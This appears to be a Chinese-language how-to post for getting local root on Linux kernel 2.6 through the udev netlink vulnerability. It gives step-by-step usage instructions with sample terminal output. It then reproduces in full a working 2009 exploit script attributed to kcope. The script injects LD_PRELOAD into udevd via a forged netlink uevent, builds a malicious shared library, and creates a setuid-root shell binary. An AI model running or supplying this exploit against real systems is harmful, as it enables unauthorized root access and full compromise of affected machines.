Linux Kernel 2.6 UDEV本地提权

1）创建用户：假设系统上已经建立了一个名为"ttalang"，密码为"ttalang"的普通用户，并用该账户登录；(注意：ttalang的用户目录为/home/ttalang)

[ttalang@vmhost ~]$ pwd

/home/ttalang

2）复制代码：如下：完整复制该页面的代码,在本地ttalang目录下保存为名为"a"的文件；(注意：此时a的状态为/home/ttalang/a，a保存着提权用的代码。名字叫什么是随意的，可以是b，c...)

[ttalang@vmhost ~]$ ls

3）修改代码：修改a中的内容，将/tmp全部替换为/home/ttalang(原因是/tmp目录对普通用户很多时候是没有写权限的)；将倒数第4行"cp libno_ex.so.1.0 /home/ttalang bno_ex.so.1.0"注释掉(原因是这一行是多余的)。

4）查找udev的PID:查找/sbin/udevd的PID，即执行："ps aux |grep /sbin/udev"

[ttalang@vmhost ~]$ ps aux |grep /sbin/udev

root 392 0.1 0.3 2916 1400 ? S<s 15:33 0:00 /sbin/udevd -d

ttalang 3266 0.0 0.1 4604 700 pts/1 R+ 15:38 0:00 grep /sbin/udev

5）提权:执行命令chmod u+x a && sh a 391 (注意：这里的391是udev的PID减去1得来的)：

[ttalang@vmhost ~]$ sh a 391

suid.c: 在函数 ‘main’ 中：

suid.c:3: 警告：隐式声明与内建函数 ‘execl’ 不兼容

sh-3.1#

提权代码：

*****************************************************************************************
#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang

cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0

int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;

main(int argc, char **argv) {
      char sysfspath[SHORT_STRING];
      char subsystem[SHORT_STRING];
      char event[SHORT_STRING];
      char major[SHORT_STRING];
      char minor[SHORT_STRING];

      sprintf(event, "add");
      sprintf(subsystem, "block");
      sprintf(sysfspath, "/dev/foo");
      sprintf(major, "8");
      sprintf(minor, "1");

      memset(&address, 0, sizeof(address));
      address.nl_family = AF_NETLINK;
      address.nl_pid = atoi(argv[1]);
      address.nl_groups = 0;

      msg.msg_name = (void*)&address;
      msg.msg_namelen = sizeof(address);
      msg.msg_iov = &iovector;
      msg.msg_iovlen = 1;

      socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
      bind(socket_fd, (struct sockaddr *) &address, sizeof(address));

      char message[LONG_STRING];
      char *mp;

      mp = message;
      mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
      mp += sprintf(mp, "ACTION=%s", event) +1;
      mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
      mp += sprintf(mp, "MAJOR=%s", major) +1;
      mp += sprintf(mp, "MINOR=%s", minor) +1;
      mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
      mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;

      iovector.iov_base = (void*)message;
      iovector.iov_len = (int)(mp-message);

      char *buf;
      int buflen;
      buf = (char *) &msg;
      buflen = (int)(mp-message);

      sendmsg(socket_fd, &msg, 0);

      close(socket_fd);

      sleep(10);
      execl("/tmp/suid", "suid", (void*)0);
}

_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
   setgid(0); setuid(0);
   execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1

# milw0rm.com [2009-04-20]
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Linux Kernel 2.6 UDEV本地提权

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